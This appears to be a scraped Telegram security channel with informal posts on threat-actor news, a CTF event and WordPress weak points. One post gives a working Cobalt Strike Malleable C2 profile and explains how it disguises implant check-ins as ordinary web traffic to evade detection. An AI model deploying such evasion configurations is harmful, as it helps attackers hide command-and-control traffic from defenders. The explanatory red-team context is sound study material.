> be iranian threat actors
> compromise FBI directors personal email
> fast forward like, 5 hours
> $10,000,000 bounty on head

Opinion: I think Kash Patel is extremely mad

this is a lot fr 🤯🤯
@AfroSec

let the night grind begin huh 😎😎

btw mn gud new znabu like damn 🥶

@AfroSec

some threat actors get into a system — let’s say your personal computer.

now you’re also a hacker… you think:
“Yeah I can just monitor the traffic with Wireshark and catch them blah blah.”

but here’s the thing…

They can make their traffic look completely legit. how?

Malleable C2 profiles

This is basically a domain-specific language (DSL) introduced by Cobalt Strike that lets redteamers redefine how their beacon(implant) communicates with the TS.

means....
They can disguise malicious traffic to look like:

* browsing social media
* streaming music
* accessing cloud services

So your “suspicious traffic” just looks normal.

Core components:

• HTTP GET / POST
• Global options (sleeptime, useragent, etc.)
• Data transformation & obfuscation (prepend, append, encoding)

set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
set jitter 0;
set sleeptime 0;
set timeout 10;
set retry 0;

http-get {
    set uri "/afro_checkin.php";
    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";
        header "Accept-Language" "en-US,en;q=0.5";
        header "Connection" "keep-alive";
        metadata {
            base64;
            prepend "user=";
            header "z-User";
        }
    }
    server {
        header "Server" "nginx/1.18.0";
        contentencoding "gzip";
        output {
            print;
        }
    }
}

what’s happening here?

• Beacon checks in with metadata (ID, hostname, process, etc.)
• Data gets base64 encoded
• Then "user=" is prepended → user=base64payload
• Sent inside a custom header → z-User

Now it just looks like a normal HTTP request header.

Meanwhile…

• Team Server responds with payload
• Encoded + compressed (gzip)
• Still looks legit in traffic

There are a lot of templates on GitHub go check them out

but don’t just copy-paste them
u will get flagged fast :)

Most public profiles are already burned.

Also…
~90% of them are HTTP/S listeners

If you want to go deeper (P2P, SMB, DNS…)

@AfroSec

hmmm 🙃

@AfroSec

sijemer eko we are 😭😭🥀cooked

@AfroSec

thank you guys for your birthday wishes, I really mean it
A lot of new members joined this year too , thank you all for being part of my journey.

much love and respect 😊

@AfroSec

😂😂 this era

Me, Myself and I ❌
Me, Myself and AI ✅

even telegram cant leave as alone eko gud new 😏
@AfroSec

hey fam
my friend is out here mastering everything from creative hobbies to diving deep into the world of hacking like wow

If you’re into tech, security, or just love seeing someone passionate about leveling up, you should definitely check her out!

Big respect for the grind 💯🔥

so lets show some love and support :))

channel : https://t.me/vxnsec


@AfroSec

heyyy everyone
we are gonna be live on discord just kinda chill event we will solve one AD machine and learn along the way

if u r free check it out now https://discord.gg/XP948E8B :)

@AfroSec

did anyone see what i posted lool :)

#experience
from what I saw (experience), most Ethiopian websites are CMS-based, mainly WordPress. The funny part is that they completely trust the CMS to handle everything end-to-end, like security or other configurations. but, the fact is that the wp-json schema is enough to gather all their endpoints and do shady stuff 😂 Sometimes they open sensitive directories like wp-includes or wp-content, then forget about their existence, which is a really bad security measure.

@AfroSec

jst found this on linkedin and i liked it :)

@AfroSec

🚨 WARNING - APT28 ran a global router hijack to steal credentials.

The group compromised MikroTik and TP-Link devices, rewrote DNS settings, and redirected traffic for credential theft at scale -- impacting 18,000+ IPs across 120 countries, including government and cloud targets.

🔗 Read here → https://thehackernews.com/2026/04/russian-state-linked-apt28-exploits.html

W 🔥 attack chain fr 👌

@AfroSec

that one skid after gaining initial access on his own virtual box which by disabling all defender engines and interfaces 😂😂😂😂
just for fun demo endaydebrachu lol

@AfroSec

am always amazed after reading threat actors footprints like goddamn 🤯 ,really man?
its a matter of time for us too 💪💪

@AfroSec

tackling advanced shii wont kill us chat, either we will fail or we will conquer thats it ,
in both cases we will learn something that matter in the future 🤷‍♂️

@AfroSec

Something big is coming… 👀

AASTU is about to witness a whole different level.
This isn’t a workshop.
This isn’t a lecture.

This is a battlefield.

💻 Real-world challenges
🧠 Skill over theory
🚩 Only the sharpest survive

Built in silence by Buna Byte… now it’s almost time to go live.

📅 April 15
⏰ 2:00 PM

Think you’re ready? Step in and prove it.
Not ready? This is where you level up.

Stay locked in. Details dropping soon.

#AASTU #CTF #CyberSecurity #BunaByte #HackTheSystem

Claude Mythos Preview

I didn't read it, but I will if I get time. If you want to read it, here it is

@AfroSec